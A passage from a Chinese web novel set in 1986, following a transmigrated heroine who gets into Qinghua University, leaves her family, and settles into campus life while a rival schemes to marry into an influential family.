小时候家里穷，吃不饱穿不暖，又经常跟林富贵一家吵架，基本没有什么好玩儿的。只有过年的时候能吃些好吃的，大概那就是最幸福的时刻了。 林珊在后世也差不多，童年的困苦远多过幸福，不过小的时候，她也最喜欢过年，因为院里会发新衣服穿，还会有很多肉吃，所以两世开心的事居然都一样。 有时候她也会恍惚，觉得自己就是这书里原本的人。一模一样的长相，是不是也意味着，要是她在后世能找到亲生父母的话，他们也会长得跟这一世的爸妈一样。 林珊没有细细想过这些，她只是在渐渐地相处中，已经打从心里把赵桂花和林红当成了自己的血亲。上一世仿佛是假的，眼前的人和事才是真真切切的存在。 写完了回信，林珊开始琢磨要给贺正岩回什么礼。她家里这些吃的，现在都寄不了，想了半天实在没什么之后，她决定就回封信。 另外请许国强家帮忙给他送去一些包子和熟肉，由她付钱，这样包子和肉口感更好，也更速度。 下午把信寄出去，熟肉和包子也安排好之后，林珊就去忙电话申请的事情了。公司的业务在稳步增长，需要一个固定的联系电话。 城北包子铺的店长，李春刚他二叔就在电话局当干部，因此林珊公司申请手续的时候，就办得比别人稍微快一点儿。 86年安河市安装私人电话的人一个手都能数过来，光安装费就要1050元，每月还有15块钱的月租，一般人真得装不起。 林珊之前咨询过后，也是咬牙才决定装的。毕竟她要去上大学，以后全得靠电话联系家里，她不能总打到王军的单位，让他来回传话吧。这样影响不好，而且效率也很低。 所以她纠结过后，觉得这电话还是得装。 电话局的同志说最快一个礼拜就能安好，林珊交了钱就回去等着了。 家里放着她之前特意留下来没卖的几件衣服，趁着赵福和王芳在，她直接先给了他们俩。 赵福的是一套衬衫和西裤，王芳的则是一条裙子和一双皮鞋，俩人出去代表的是公司形象，必须给他俩捯饬起来。 林珊给王大娘买的是一套女士西服，非常符合她街道主任的身份。 拿过去给王大娘穿上之后，她高兴坏了，在镜子前照了好一会儿，直夸林珊眼光好。 上回母女三人遇险，市里来家里慰问的事儿，是隔壁杨老太太帮的忙，正好林珊这次在粤城发现了一件绸缎做的披肩，就想买给老太太做回礼。 虽然她经常会送过去一些吃食表达感谢，但是这毕竟不是小事，人家还动用了省里的关系帮助自家，这情分应该要好好记得。 所以傍晚的时候，她直接拿着披肩和一些包好的小馄饨去了。 馄饨交给红梅，她笑呵呵地说：“正愁不知道晚上吃啥呢，太好了！” 杨老太已经习惯她看见吃的走不动的模样了，拍了她一下，笑眯眯地对林珊说：“孩子，你不用总送东西过来，先仅着咱家里卖。” “正好我们家晚上也喝馄饨，多包几个不费事儿的。”林珊说罢，把手里提着披肩掏了出来，“我这次去粤城发现一件披肩特别好，一眼就感觉特别适合您。您看看合不合适？” “哎呦！”杨老太爱漂亮，平时穿衬衣都得熨过之后才穿，夏天的裙子更是一条接着一条，花色虽然素，但一看就是好料子。 林珊这披肩是正儿八经的外国机器织制的，不但面料好，图案也特别洋气，杨老太太眼睛都亮了，摸着布料直说：“真漂亮！哎呦你这孩子，你看看你，这么破费干什么！” 林珊把披肩披到她身上，笑着说：“这披肩一看就是为您量身定做的，它身上写着您的名字，那我肯定得把它买回来啦。” “哈哈哈，看你这张小嘴哟。”杨老太开心极了，摸着披肩照了下镜子，感慨道：“这南边的东西就是不一样啊。” “港城过来的。”林珊小声告诉她。 杨老太立刻点点头，给了她一个“我懂了”的眼神。 林珊有点想笑，果然好看的衣服对于爱漂亮的老太太来说，真得没有任何抵抗力。 “谢谢姗姗，奶奶很喜欢！”杨老太也不客气了，直接握住她的手表达感谢。 林珊笑着说：“您喜欢就好，而且真论起来，也应该是我们跟您说谢谢。上次市里来家里慰问的事，您帮了我们那么大一个忙，这点东西算什么啊，等以后我们开了服装店，欢迎你随便挑选！” 提起这个，杨老太突然有点儿不好意思，“那什么，这件事……其实有点儿误会，我也是昨天电话里听我儿子提起来才知道的。” 林珊心想这里头能有什么误会。 杨老太太惭愧地笑了笑，“也没什么，就是过年的时候我跟大儿子提了你家的事儿，他说会考虑一下。我本来以为他那是敷衍我，结果没想到他还真给安河市里打电话了。我之前一直以为是自己的话管用了，谁知道昨天跟他提起你高考生省状元的时候，那老小子才跟我透露，他之所以打那通电话，是因为老首长的孙子也希望他帮你们一下。你说说，天底下还有这么巧合的事儿，居然都遇到一块儿了！” 第78章 第78章 录取通知书 老首长的孙子？ 林珊脑子里第一反应是贺正岩。 他是那件事的当事人, 又是她认识的唯一的当兵的人，而且他还在信里说了他小时候跟爷爷住在部队。 不是他还能是谁。 林珊压住内心的惊讶，笑着对杨老太太说：“那也是杨叔叔帮的忙, 我们感谢您是应该的。” 杨老太拍了拍她的手，真是打从心底越来越觉得林珊是个好孩子。生意做得好, 会做人，关键学习还那么好！以后一定大有前途！ 回到家之后, 林珊把从杨老太那知道的事情说了，赵桂花对贺正岩又是一顿猛夸, “闺女, 你下回再去省城的时候，一定要去谢谢人家。” “好, 放心吧妈, 我知道该怎么做。” 五天后, 公司的电话安好了，林珊第一个拨通的就是贺正岩的电话。可惜那头接线的人员说贺团长正在外头执行抗洪任务, 不在部队。 她听到抗洪, 脑子里第一反应这个很危险的, 但随即就意识到当兵的，又有哪次的任务不危险呢。真得不容易，所有的军人和军属都是极其伟大的。 接线员还说不确定什么时候能回，但是估摸着最快也要到九月中旬了。林珊有点儿遗憾，本来还想着上大学前当面对他表示感谢的, 看来只能再找机会了。 次日, 清大的录取通知书如期而至。 家里自然又是一阵欢腾，赵桂花颤抖地拿着录取通知书，泪流满面：“孩子！清大！是清大啊！” 林珊也开心, 毕竟是上辈子梦寐以求的高校，收到通知书的感觉还是不一样的。 林红哭得稀里哗啦，“姗姗太棒了！” “我家闺女是省状元！是首都清大的大学生！！！”赵桂花激动地在院子里呐喊。录取通知书没下来之前，她心里的石头都不算真正的落地，虽然领导和老师们都说一定没跑，但是不见到实实在在的通知书，她这个心就是没办法踏实，生怕哪个坏人从中捣乱。 现在好了，真是清大！首都清大！全国人民有不知道吗？！出息！她闺女实在是太出息了！！！ 赵桂花在家里激动还不够，很快就跑遍了整个街坊四邻，通知了所有她能通知到的人。 包子铺的店长们也很夸张，直接写了章告示贴在门口，“省高考状元”和“首都清大”这几个字弄得都快比招牌醒目了。 省里和市里的报纸也再次刊登了她被清大录取的消息，再加上省城电视台把那期采访一播，林珊不仅在安河，就是在省城也彻底出名了。 出名的好处之一，就是打电话来咨询加盟“爱国大肉包”的人越来越多了。 公司的业务直线起飞，可把大家都忙坏了。人手明显不够用，林珊赶紧让赵福又招了几个新人。 赵福现在对加盟店的运作，已经很熟悉了。从最开始的接洽到最终落成，全程都非常专业，总经理做得有模有样。 距离开学的日子越来越近，林珊又把每个人负责的部门明确和细化了一下，这样就算她不再，一切也都能很好的运转。万一真遇到什么解决不了的问题，一通电话她也能及时回来。 安河到首都的距离，比去到省城还近个差不多50公里。去省城要往南走，去首都直接北上就行了。三个小时的车程，快得很。 解决完公司的事，学校那边还有一些表彰大会要开。 城西高中今年考得比以往都好，除了林珊，还有三个考上大学的孩子。两个出自黄月萍的班，一个是帮助学校捣毁邢艳红阴谋的张立志同学。 黄月萍忍不住又在大学上林珊表扬了一番，“……除了这些品质，林珊同学还非常大公无私！不仅把自己的笔记总结给同学传阅学习，还在最后冲刺的阶段帮助同学们解答难题、疏导心里，这种品质值得我们所有人称赞！值得我们所有人学习！” “林珊好样的！”底下不知道谁在热烈的掌声中喊了一这么一嗓子，现场顿时都开始喊“林珊好样的！” 张立志也忍不住过来对林珊表示感谢，她的笔记真得帮了他很大的忙。 林珊受之有愧，“千万别这么说，要不是你提前通知学校，我可能连高考都参加不了了。应该是我感谢你才对。” 张立志被她看得有点儿脸红，结巴道：“这、这都是我应该做的，你不要客气。” 林珊笑着对他，也对大家说：“成绩都是大家努力的结果，跟我没有多大的关系。很开心咱们城西高中今年取得了好成绩，希望明年再创佳绩！” 众人振臂高呼：“再创佳绩！” 由于清大九月一号正式入学报道，八月份的最后两天，林珊都在准备上学的事，火车票买好，包袱收拾好，钱准备好。然后是各路人马前来告别。 直到31号傍晚，林家娘仨才能关上门说点儿体己话。 赵桂花不舍地搂着林珊，既想让孩子出人头地，又舍不得她离开。林珊长这么大第一次要走这么长时间，她有一肚子的不放心。 林红也舍不得，搂着妹妹另一个胳膊，叹气：“清大要是在咱安河就好了。” 林珊笑了，“你怎么不想咱要是京市人就好了？” 林红一愣，“那也行。” 林珊抽出胳膊，反搂住她俩，“以后咱全家都搬到京市去，当京市人！” “说啥胡话，京市人那么好当的？还全家搬过去。”赵桂花摇头，真拿她没办法，天天想起一出是一出。 林珊秀眉一扬，“只要有钱，哪儿去不了？别说京市，就是美帝都能去。” 八六年，在很多地方连温饱都解决不了的情况下，家里有门路的那些人已经混到漂亮国了。在那些人的圈子里，还掀起了一股“出国潮”。 “嘘，现在不让叫美帝了。”林红提醒她。 林珊笑了，忘了现 在两国正处于所谓的“蜜月期”，“反正我就说这个意思，下一步咱挣了钱就是去首都买房。” 她记得上辈子看过一个资料，86年首都的房价好像是1900元。 虽然没办法跟后世的天价比，但是在这个年代已经非常贵了。买一个二居室，就得花上十六、七万。根据公司目前的利润来看，努力个一年半，应该就能买得起。不过这还是在她一分不花的前提下。等过一阵开服装店，前期肯定又是一笔不小的支出。钱还是不够啊。 考上清大之后，林珊的户口就会落到京市，虽然这时候买房没有所谓的户口限制，但是需要指标，这个指标也没那么好弄。不过也正是因为商品房的不发达，才会成为另一个风口。 不抓紧时间累积资本，她就会错过这个挣大钱的机会，不拼命怎么行。 “你可真敢想，你老娘我这辈子住在安河就心满意足了，咱家这小院儿就美得很。”赵桂花看了看自家房子，打从心里觉得踏实。 林珊逗她：“我也喜欢咱家，要不我就不去首都了，直接留在安河得了。” “啧。”赵桂花瞪眼，作势要捶她。 林珊赶紧笑着说：“开个玩笑，咱们说好了要共同进步，将来生意做大之后，肯定不能只满足于安河啊，省城和京市咱都要买房。不然怎么能叫冲出安河，走向世界呢。” 赵桂花敷衍她，“行行行，冲出世界，走向天上，行不行？” 林珊知道这个时候说再多也没用，必须拿出实打实的战绩才行。她确实不会止步安河，甚至都不怎么考虑落脚省城，既然离首都更近，为什么不直接一步到位呢。 不过别说这会儿赵桂花不信，就是她自己也不知道未来的路具体要怎么走。 然而一直沉默的林红，对她却有种盲目的信心，“姗姗，你是真得打算以后在京市发展的吧？” “嗯。” 林红点点头，“我是想跟着你干，但是……但是——” “你怕王军独守空房？”林珊替她把话说完。 林红涨红了脸，“什么独、独……别乱说。” 林珊笑了，“可以让他一块儿进步嘛，军哥本来就非常优秀，到时候再找点儿关系，没准儿他比咱先进京呢。” 王军刚到市局一年就升职了，这明显是非常被上面看好的架势，以后他能走多远这谁说得准啊，“再说了，我现在也只是畅想一下美好的未来，这都是以后的事儿。现在眼下最关键的，是你跟军哥的婚事。” 提起婚事，林红就更腼腆了。 林珊跟赵桂花使了个眼色，让她把家里准备出两千块的事儿说了。 林红一听要给她这么多钱，瞬间就开始猛摇头：“不行不行，拿这么多钱干啥，结婚又不花不了几个钱，妈你这是干嘛啊。” 赵桂花握住林红和林珊的手，感慨万千：“你们俩都是妈的好孩子。钱是你妹子提出来的，我也同意，你马上要成家了，得有个自己的小金库了，以后想买啥就买啥。王军家咱知根知底，知道他们都不是那坏心肠的人，但是有钱在身上，到哪儿咱腰板都能挺得直直的。这是咱娘家人给你的底气！” “妈……姗姗……”林红哭得一塌糊涂，已经不知道该说什么了。 林珊抱住她，轻拍着后背，“姐，两口子过日子，合得来就过，合不来就散，你以后千万不能再委屈自己了。我盼着你跟东哥幸福美满、白头到老，但是万一他变了，或者你觉得不快乐不幸福了，那咱就离。人这一辈子很短，千万别为了一些所谓的伦理道德困死自己。” “好、好的姗姗，我知道了。”林红哽咽着点点头，紧紧地抱住自己的妈妈和妹妹。 第79章 第79章 启程上大学 次日五点林珊就到了火车站, 她要坐最早的一趟车去京市，这样就算中途有什么耽搁，也不耽误她完成入学报到。 因为走得早, 不想麻烦别人来送行，只有王军带着赵桂花和林红把她送上了火车, 并安顿好。 看着家人湿润的眼眶和渐渐远去的背影，林珊也很舍不得。不过, 短暂的分别是为了更好的重聚，她坚信这句话。 火车轰隆隆往北开着, 车上的旅客睡得睡, 吃得吃，说话得说话, 林珊这回买的是硬座, 毕竟以后要常年往返, 不能把钱都贡献给铁路建设了。再加上又不是头一回坐火车，她也不是真的没去过京市的安河娃娃, 三个小时的车程完全没问题。 这趟火车从最南边开往京市的, 跟上一次去省城的不太一样, 上面有不少学生和新兵模样的人，看那疲惫的神情，应该都是千里迢迢要赶着进京的人。 林珊座位旁边这一家人就比较惨了，要去京市的大医院给孩子看病，说是心脏不好。她看着那小姑娘一直蔫蔫地靠在她妈妈的怀里, 心里很不是滋味。 她摸了摸了包里的高乐高、奶粉和芝麻糊, 准备下车前都送给小姑娘补身体。这会儿就先不掏了，车上人多，容易成为小偷的目标。 三个小时的车程, 她连上厕所都不用，很快火车就驶进了京市界内。 林珊上辈子对京市可太熟悉了，毕竟是住了那么久的地方，所以她迫不及待想看看八六年的首都，到底是个什么样子。 以前在电视上看过一些记录画面，感觉那时候的一切既熟悉又陌生。满大街的自行车，偶尔跑几辆黄色的面包出租车，不过人们要去远地方的时候，主要靠的还是红白和蓝白的公共汽车。 而且在八六年的时候，首都已经有两条地铁线了。作为后世坐过一号和二号线的林珊来说，有种穿越时空的奇妙感。 等开学之后，她一定要去搭一搭地铁。 首都火车站的人流量，根本不是其他地方能比的，粤城都没办法跟它比。 林珊背着行囊提着包裹，穿梭在人群之中，寻找着清大接待新生的站点。硕大的广场，拥挤的人群，闷热的天气，多亏她东西拿得不是特别多，不然还真有可能中暑。 突然，她穿过人群，看见了一张大大的牌子，上面写着“清大新生接待处”。 林珊赶紧挤了过去，掏出通知书自报家门，负责接待的两位男同学本来就很热情，再一抬头看见她长这样之后，居然有一个瞬间结巴了。 “诶诶诶，同、同学你先到后边等着，校车一会儿就来。” 另一个估计嫌他没出息，笑着说：“校车很快的，你别着急先在这儿等等，包先放地下吧，沉不沉啊，看你脸色有点儿发白，要不要坐椅子上歇会儿？” “谢谢师哥，不用了，包裹不沉，我站这儿等就好了。”林珊笑着感谢完他们，主动站到了排队等车的同学中。 排队的同学们纷纷看向她，林珊就主动介绍了一下自己，跟着大家就都开始他们自我介绍了起来。 他们一听林珊说计算机，家里偏远的同学惊呆了，啥计算机啊？算数用的计算器吗？ 一位来自沪市的同学惊讶过后，给大家解了疑惑，又忍忍不住感慨道：“你居然学计算机啊！好厉害！听说那个特别难！” “是！好像是说分数低一点儿的根本不要！” “你考了多少？你们汉北省今年是新模式的高考吧？满分多少来着？” “她她她、她是林珊！我们省的高考状元！一共才扣了四分！”同样来自汉北省的一位同学，替林珊回答了，他从刚才认出她之后，就激动得不行，这会儿才找到自己的声音。 “哇！好厉害啊！” “就是！天爷，我擦边考上的！幸会幸会啊，省状元！” “幸会，大家都是同学，以后多多关照。”林珊笑着又跟所有人打了个招呼，省状元放在清大应该也没什么特殊的，只是这会儿正在等车的同学里，可能就她成绩比较高吧。 不过无论如何，这年头能靠自己本事考进清大的，都是人中龙凤，一定要好好结交一下。 林珊顶着大太阳站在路 边，跟一群同校的学生进行交流，丝毫没看见不远处的人群中，林兰正面无表情地盯着她看。 之前在火车上，林兰就发现了林珊居然跟自己一趟车。看着她被家里人送上车，看着她被车上的男男女女围观，又看着她假好心地给陌生人送东西。 奶粉、高乐高和芝麻糊，那些东西都不便宜，她一定会挣了不少钱，不然不可能出手这么阔绰。 林兰本来以为自己再见到林珊的时候，会恨得牙痒痒，尤其现在整个安河都知道她考到了清大，已经快没人记得她林兰是谁了，但是当她看见林珊坐在那儿跟陌生人说话的时候，内心竟然无比得冷静。 省状元，清大，就算将来林珊能够挣再多的钱，那又怎么样？ 一旦自己进入贺家，成为贺振华的儿媳妇，林珊那些所谓的头衔立刻就会变得黯然失色，根本不是一个级别的人，真得没有必要再去跟她较真儿。 至于报仇这件事，就先交给二哥吧，反正等她成了贺家人之后，还会没有权利吗？到时候想整谁不容易？现在她应该把精力都放在贺启明身上。 开学他马上大四，自己也大三了，是时候该为以后打算一下了。 林兰看了会儿林珊在那堆新生里被众星捧月的样子，暗哼一声走了，靠狐媚招人喜欢又怎么样？还不是照样得在这地方等着校车来接，大热天的一大堆人挤一辆车，想想就难受，啧啧。 林兰望着不远处，站在一辆白色轿车面前的贺启明，心里别提多舒爽了。她青春洋溢地冲他挥了挥手，对方发现之后，立刻热情地跑来迎接。 “累坏了吧？”贺启明替林兰把包背到背上，笑得阳光灿烂，一个暑假没见，甚是想念，要不是这么多人在，他一定要好好抱一抱自己的女朋友。 “我不累。”林兰摇摇头，温柔地问他：“等很久了吧？” “没有，我也刚到。走吧，亲爱的林兰同志，我开车带你兜兜风去，咱晚点儿再回学校。”贺启明做了个“有请佳人”的绅士动作，林兰笑眯眯地把手放进他手里，两人相携着朝汽车走去。 临上车前，林兰还不忘瞥了眼林珊那边，她脸上洋溢着无比得意的微笑，好像在说：看吧，我这才叫人生赢家。 林珊不知道自己被鄙视了，等了一会儿一辆非常具有年代风情的小公共汽车慢悠悠地开来了，她上车之后找了个位置坐下，把背囊和包裹也都安置了一个地方。 这一车一共能拉二十来个人，但大家都带着行李，司机见排队的人都上来之后，没再等后面的就直接开走了。 八六年的京市虽然没有办法跟后世比，但是那些标志性的建筑，还是如此的壮丽，林珊跟车上的同学一样，路过一个地方就发出一阵赞叹。 首都就是首都，它对全国人民的意义是不一样的。这种历史的厚重感，真得太引人入胜了。 清大距离火车站大概十六、七公里，汽车行驶了将近一个半小时后，林珊终于看到了这座无数人的梦中情校。 这座西欧古典建筑风格的标志性大门，距离1986年已经有75年的历史了，校门后那两颗桧柏，见证了这一路的风风雨雨。 林珊在后世的时候来过这里参观，还傻兮兮地照了张游客照。现在被车拉着从这里路过，她突然鼻头一酸，眼眶湿润了起来。梦想成的感觉真得挺美好的。 校车停在了离报到点不远的地方，林珊按照规定办理完入学手续之后，终于可以去宿舍落脚了。清大的宿舍楼有新有旧，林珊被安排在了新楼的四层。 她背着行李呼哧带喘地找到宿舍时，里头已经住了两个人了。四人间的房间，居然还有比她来得更晚的，想来那个应该是京市本地人吧。 早到的那两个室友一个叫徐青，一个叫陈小娟。陈青是徽省人，建筑系的。陈小娟是浙省人，机械工程系的。俩人不是自来熟的人，一看林珊进来，先是一愣，然后都有些拘谨地笑了笑。 林珊笑着回应之后，自报家门：“我叫林珊，计算机系的，汉北省安河市人，以后请大家多多关照。我给大家带了些家乡的脆梨，你们都尝尝吧。” 说着，她掏出包里的大鸭梨，一人给了她们一个，“先吃个梨解解渴。” 徐青和陈小娟不好意思地拿着大鸭梨，腼腆地感谢她，刚才林珊一进来，她们除了被她的惊人的长相吓了一跳，另外也被她的穿着打扮给吓到了。这么洋气的衬衫和裤子，一看就是大城市的人，不会不好相处吧。 然而见她这么热情随和，她们顿时松了口气，徐青反应过来之后立刻说：“我去洗，我知道洗漱池在哪，你先歇会儿吧，今天可太热了。” “诶诶，对，你先歇会儿，宿舍我们俩已经打扫过了，你只要把床褥铺好就可以了。”陈小娟笑着说。 林珊刚才一进门就发现宿舍被打扫过了，真的是救命恩人啊，“谢谢谢谢，辛苦你们了！” “不用不用，哪的话啊，大家都是一个宿舍的，应该的嘛。”陈小娟笑得十分腼腆，觉得林珊很好相处，希望最后一个舍友也能这么好相处就好啦。 “砰——”大门突然被猛得打开，一个身穿白色短袖配浅蓝色背带裤的姑娘，气喘吁吁地站在门口，冲走廊那头喊：“累死我了！爸妈！找到了，在这儿！” 她吼完，扭头来对屋内人挥挥手，笑盈盈地说：“大家好啊，我叫张丽丽。”然后，一见里下铺两个位置被占了，她脸上立刻露出失望的表情，“啊，我想睡下面，你们谁可以跟我换换吗？” 第80章 第80章 校园生活 徐青和陈小娟都在宿舍睡过一晚了, 这个张丽丽门儿都没进，就想让人家俩把下铺让出来。 未免有点儿好笑。 两人尴尬地看着她，不知道怎么回应。让肯定是不愿意让的, 凡事都有先来后到，但是直接拒绝, 她俩也觉得有些不太妥当，毕竟是舍友, 需要相处四年呢。 所以空气一时就冻结在了那块儿。 张丽丽看出对方不乐意，直接从门口踏进来, 满脸不开心地冲门外喊：“妈！上铺这么高, 我晚上睡觉掉下来怎么办？！” 张丽丽的爸妈很快就提着大包小包进来了，两人的穿着都很讲究, 一看家境就相当不错, 张妈妈听见闺女这么说, 她也赶紧看向上铺，发现那儿有个栏杆挡着, 顿时放心多了, “没事儿, 掉不下来。” 张丽丽不开心，一屁股坐到门口的凳子上使性子。 她爸凑过去好生劝了她一大会儿，她这才勉强同意住上面，不过却是指着林珊的位置说，“我住这边。” 林珊正在上铺铺着自己的被褥, 背对着他们, 不过她不用看也知道这小公主想睡自己这边，毕竟另一张床正好对着打开的门口，她这边是门背, 比较有隐私性一点。 张丽丽妈妈头疼：“人家都开始铺东西了，你就别再乱指了。一大早我就喊你早点来，你就是不起，现在怨谁？” 张丽丽有点儿理亏，于是装可怜，“我住门口会头疼的，有一点儿风我就受不了了，你们是知道的。这位同学，你可以跟我换换吗？” 她跟爹妈说着说着，突然开始跟林珊对话。 林珊放好枕头，扭头看向三人。 张丽丽瞬间瞪大眼睛，好漂亮！ 张爸张妈也同样惊讶，没想到清大还有这么漂亮的小姑娘，而且穿得还挺时髦，这衬衫一看就不是这边的样式，还有身上那裤子，刚好到脚踝以上，还开个小口，看着真别致。 本来以为自己闺女 就够漂亮够爱美了，没想到真是人外有人天外有天啊。 林珊满脸歉意地对张丽丽说：“不好意思啊同学，我身体也不是很好，医生还特地交代过我要注意保暖。” 张丽丽的脸瞬间就拉了下来，什么乱七八糟的，还她也身体不好？明显是在说谎！ 张家父母有点尴尬，拉了拉闺女，让她别甩脸子，毕竟要一块儿生活四年呢，搞好关系很重要。 张丽丽不听，坐在椅子上哼声，她父母没辙，只能由着她发脾气，两口子自己帮她把床铺和东西都摆了出来。 林珊实在是没想到，在这个年代还能遇到有严重“公主病”的人，一时觉得有些无语，又有些好笑。看来无论什么时候，溺爱都存在啊。 林珊把床铺好，带来的衣物都放进了属于自己的小柜子里，总算暂时安顿好了。 徐青跟她说宿舍一楼看门的地方有电话，她就赶紧去给家里报信儿了。 赵桂花和林红一直在等林珊的电话，一听她已经在宿舍安顿好了，提着的心总算是放下了。 赵桂花交代道：“好好学习，家里的事儿不用操心，有我们在呢。” 林珊：“好。” 林红也交代了她好多之后，突然好奇地问：“京市好不好？你去广场了吗？是不是跟报纸上一模一样啊？” 林珊笑道：“还没去呢，下回你们来的时候，咱一块儿去看。故宫也去看看，皇家公园也看看，长城就更得去了。这么多名胜古迹，恐怕几天都看不完。” 电话那头的赵桂花和林红听得无比心动，这可是首都啊，平常老百姓谁不向往去首都看看！ 跟家里报完平安之后，林珊跟着徐青和陈小娟在学校逛了逛，认了认水房，看了看洗澡堂子，还在学校的小卖部买了三根冰棍。 微风吹扶着路边的柏树，她们三个坐在阴凉地上吃冰棍，对面操场上的师哥们不顾烈日，正激烈地打着篮球。 不远处的大树下面，刻苦的师姐正在看书，身后隔着几米距离的师哥，正在练习吹口琴。吹得是什么林珊听不出来，感觉有点像苏联那边的风格。 这就是八六年的清大校园，迷人又质朴。 林珊沉浸在这种氛围里，预感自己应该会很享受这几年的大学生活。 回到宿舍之后，她写了封信给贺正岩，简单说明了一下自己在清大的情况，把通讯地址和电话也写了上去。 他应该还在抗洪，希望一切顺利。 下午四点的时候，各个系的新生要集合。林珊所在的计算机系，并没有她想象中的人少。这一届新生一共188人，全系有九个教研组。 林珊是计算机信息处理与应用教研组旗下的班级，全班一共29人，6个女生。舍友张丽丽跟她同系同班。 班级第一次集合，班主任自然要讲一些注意事项，让大家做做自我介绍，还选了个班长叫李国栋，汉东省人，因为是全班最大的26岁，荣获班长一职。 林珊坐在后面，能明显感受到四周同学投来的目光，尤其当老师说她是省状元的时候，大家更是热情得难以想象。林珊知道这热情中，长相的因素占一大半，毕竟在座的就没有学习不好的，没必要因为一个省状元如此这般。 不可否认长得好会带来很多好处，但同时也会有不少困扰，比方说在她只想低调地躲在后头，混完这个班会的时候，一直被周围的人问东问西的，实在有些累。 前排靠窗的张丽丽看着后头，忍不住哼声，一帮流氓，没见过女的吗？女同学竟然也上赶着跟她说话，真是奇了怪了。 她张丽丽活到现在，还从来没有遇过出现在一个房间之后，所有人的注意力不在她身上的时候，看着被众星捧月的林珊，她很难不生气。 再加上之前换床位的仇，她直接把林珊列为了全校最讨厌的人。也不知道这个林珊有什么好横的，明明是个外地人，还是什么汉北没听说过的鸟不拉屎的地方，居然敢这么狂。 真是气死人啦。 选好了班长，班主任又把军训的事情宣布了一下。 1986年的清大为了响应号召，要对新生进行为期两周的军训，地点就在学校。 林珊对这点还是挺满意的，在学校军训意味着食堂和澡堂子都有保障，她只要能吃得好，能洗个干净澡，其他就都无所谓了。 关于老师之前介绍的那些专业课的要求，以及出勤和考核之类的注意事项，林珊听了之后，觉得还是非常宽松的。她打算先低调一个学期，不跟老师混熟，不考出惊人的成绩，她就直接提请假离校的事儿，恐怕会被退学的。人首先得做出点成就，才有资本谈条件。 次日一大早，林珊这批新生就要正式开始军训了，在她有条不紊地开启大学生的时候，林兰那边也在撺掇贺启明带她回去见家长。 她以贺启明的生日为切入点，除了祝贺他之外，还把贺启明的妈妈张秀英也带了出来，“……咱们大家庆祝完你的生日之后，我觉得你还需要再对阿姨表达一下感谢。” 贺启明：“我知道，这随身听确实挺难买的，你放心吧，我已经谢过我妈了。” 林兰笑着摇摇头，温柔地说：“我指的不是你的生日礼物。我以前听人家说过，生日是母亲的受难日，你出生当然是件大喜事，但对于妈妈来说，同时也等于在闯鬼门关。所以我觉得，在咱们庆祝生日的同时，也要向妈妈表达一下感恩。母亲们真得很辛苦，那么艰难地生下我们，又把我们养这么大，实在是太不容易了。” 贺启明从来没忘这方面想过，被她这么一说，顿时觉得非常有道理，他母亲确实是这个世界上最伟大的母亲，“好，我一会儿回家一趟。” 说罢，他又忍不住把林兰搂紧怀里，真心实意地感慨道：“我的兰兰是这个世界上最善良的人，就算是天上的仙女下凡，也比不上你一星半点儿。” 林兰笑了，“哪有啊，你就爱哄我开心。”她美滋滋地靠在贺启明怀里，感慨道：“不过人家都说情人眼里出西施，我觉得是真的。我也觉得你是全天下最优秀、最英俊、最正派的人，其他任何人站到你身边，都会黯然失色。你就像天空中那颗最亮的星星，那么得耀眼夺目。” 贺启明脸上的笑，止都止不住，看了看四下无人，他迅速低头亲了她一口，林兰惊讶地捂住嘴巴，一脸的娇羞，“干什么呀。” 贺启明嘿嘿傻笑，颇有些得意：“我在我亲未来的媳妇儿，谁敢有意见。” 林兰瞬间红了脸，一边温柔地捶打他，一边娇嗔道：“诶呀，你胡说什么呀。” “我哪儿胡说了，你不跟我结婚，还跟谁结婚啊？”贺启明理所当然地把林红重新搂进怀里，握着她的手说：“你这辈子已经被我牢牢绑住了，除了我，你谁都不能嫁！” 林兰满脸爱意地回望着他，轻声细语道：“结婚那么大的事，你不要随便说出来好不好？而且咱们才在一起没有多久，岁数又都还小，应该再处一段时间比较妥当。” 贺启明也挺越不对劲，瞬间变脸，“什么意思？什么叫再处一段时间？合着你压根儿就没有把我当成你未来丈夫在处啊！” 80-100 第81章 第81章 贺正岩来了 林兰见他上钩, 心里暗喜，面上却做出一副“自己被误会了，好害怕他生气”的模样。 “启明, 你先别生气，我不是那个意思！”她焦急地替自己解释, “我当然是很认真地再跟你处对象，而且, 虽然不好意思，但是我确实已经在心里, 把你当成我未来的……丈、丈夫了。” 她焦急中带着羞涩, 羞涩中又带着深情，把贺启明看得瞬间就消了气。 “那你为什么说那种话？什么再处处比较妥当？这话我不爱听！” 林兰满脸爱意地望着他, 眼眶泛红, 神色感动, “我、我是觉得结婚是大事，应该要慎重。而且, 而且……” 贺启明：“而且什么？” 林兰肩膀一垮, 露出几分非常适度的自卑和失落, “我、我怕你家里人会觉得……觉得我配不上你……” 贺启明皱眉，抬起她的脸，非常温柔地说：“你在胡思乱想些什么啊？你配不上我谁配得上？我父母不是那种腐朽的人，从来不用出身看人。” 林兰眼眸一垂，适时地落下一滴泪, “我怕、怕我家里……尤其是我父亲的事, 会、会——” “什么都不会！我之前就说过了，你是你，你爸是你爸。不要担心, 谁都不能因为这个看低你。”贺启明说着，一把将林兰搂进怀里，心疼地安抚道：“小兰，你就放一百个心吧，我爸妈都非常开明，不会因为家庭的原因就看低一个人，更不会因为一个人犯的错，就牵连无辜的人。你这么善良正直，他们一定会喜欢你的。这样好不好，下个月我爸从外头考察回来，你跟我回家，我带你见见他们。我保准你见过之后，心就会放进肚子里。” 林兰内心狂喜，却懵懵懂懂地抬起头，一脸惊讶又担心地说：“我跟你回家？太、太早了吧！” 贺启明知道她害怕，握住她的手，亲了一下给她鼓励， “早什么早，过完生日我就二十二了，早该带对象回去给爸妈看看了。你放心，他们一定会喜欢你的。” “可、可是——” “唉，你就别可是了。听我的，这事儿我说了算。”贺启明霸道地搂住林兰，趁没人又低头亲了她一下，他的人他负责保护，谁都不能看低她。 林兰静静地窝在贺启明的怀里，唇角止不住地上扬。 军训生活让林珊仿佛真得回到了青春年少，本来以为会晒蜕一层皮，结果一连一个多礼拜都是阴雨天。虽然冒雨军训挺难的，但是比起暴晒，她还是喜欢雨天。 军训结束的那天正好是周六，次日天才刚亮，林珊就跟徐青和陈小娟跑出校门，赶着公交车去城中心玩儿了。 逛老街，游钟鼓楼，吃驴打滚，尝卤煮，捏着鼻子看别人喝豆汁，快活得不得了。吃饱喝足，自然是去广场看□□，看纪念碑，看各个机要部门的大楼。 当然，很多年代剧里都少不了的什刹海，林珊自然也提议去了。 徐青和陈小娟虽然不知道这地方是什么古迹，但是风景是真优美啊。湖上还有人在划船，一问价10块钱一个小时，三人顿时都打消了念头。 “咱们还是逛些不要钱的吧。”徐青笑着说。 